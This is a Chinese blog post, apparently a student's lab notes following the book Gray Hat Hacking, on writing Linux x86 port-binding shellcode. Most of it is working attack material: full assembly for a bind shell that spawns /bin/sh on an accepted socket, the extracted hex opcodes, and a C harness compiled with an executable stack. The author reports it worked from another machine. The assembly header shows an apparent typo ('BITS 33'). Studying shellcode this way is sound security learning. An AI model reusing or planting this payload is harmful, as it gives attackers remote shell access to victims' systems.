linux下端口绑定shellcode编写与实现
本次实验都是基于《灰帽黑客:正义黑客的道德规范、渗透测试、攻击方法和漏洞分析技术》
实现端口绑定shellcode有下面几个步骤:
(1) 创建一个TCP套接字;
(2) 将该套接字绑定到攻击者指定的端口,这个端口通常会被硬编码到shellcode中;
(3) 让该套接字成为侦听套接字;
(4) 接受新连接;
(5) 将新接受的套接字复制到stdin、stdout和stderr上;
(6) 创一个新的命令shell进程(它将通过这个新套接字接受输入数据并发送输出结果);
port_bind_asm.asm
BITS 33 section .text global _start _start: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx ;server=socket(2,1,0) push eax push byte 0x1 push byte 0x2 mov ecx,esp inc bl mov al,102 int 0x80 mov esi,eax ;bind(server,(struct sockaddr *)&serv_addr,0x10) push edx push word 0xBBBB push word 0x02BB mov ecx,esp push byte 0x10 push ecx push esi mov ecx,esp mov al,102 inc bl int 0x80 ;listen(server,0) xor edx,edx push edx push esi mov ecx,esp mov bl,0x4 mov al,102 int 0x80 ;client=accept(server,0,0) xor eax,eax push eax push eax push esi mov ecx,esp inc bl mov al,102 int 0x80 mov ebx,eax ;copied returned file descriptor of client to ebx ;dup2(client,0) xor ecx,ecx mov al,63 int 0x80 ;dup2(client,1) inc ecx mov al,63 int 0x80 ;dup2(client,2) inc ecx mov al,63 int 0x80 ;standard execve("/bin/sh"...) xor edx,edx push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80 _end: nop
汇编这个源代码文件,链接该程序,然后就可以执行:
nasm -f elf port_bind_asm.asm
ld -o port_bind_asm port_bind_asm.o
这步成功后,接下来就是提取十六进制操作码。我用自己编的一个自动提取shellcode的opcode脚本把它提取出来,生成一个abc.c文件。
abc.c
unsigned char shellcode[] ="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe" "\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\xbb\xbb\x66\x68\xbb\x02" "\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x31\xd2" "\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89" "\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41" "\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { void (*fp)(void); fp = (void *)shellcode; fp(); }
然后编译:gcc -z execstack -o port_bind_sc abc.c
最后执行,也是成功。在ubuntu下编译时必须加-z execstack,使堆栈可执行。在rhel下,似乎不必。反正读测试成功了。并且能用另一台机器访问。
我是一名在校大学生,热爱编程,虽然起步晚了些,但我会努力的。呵呵!
数据结构 算法
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)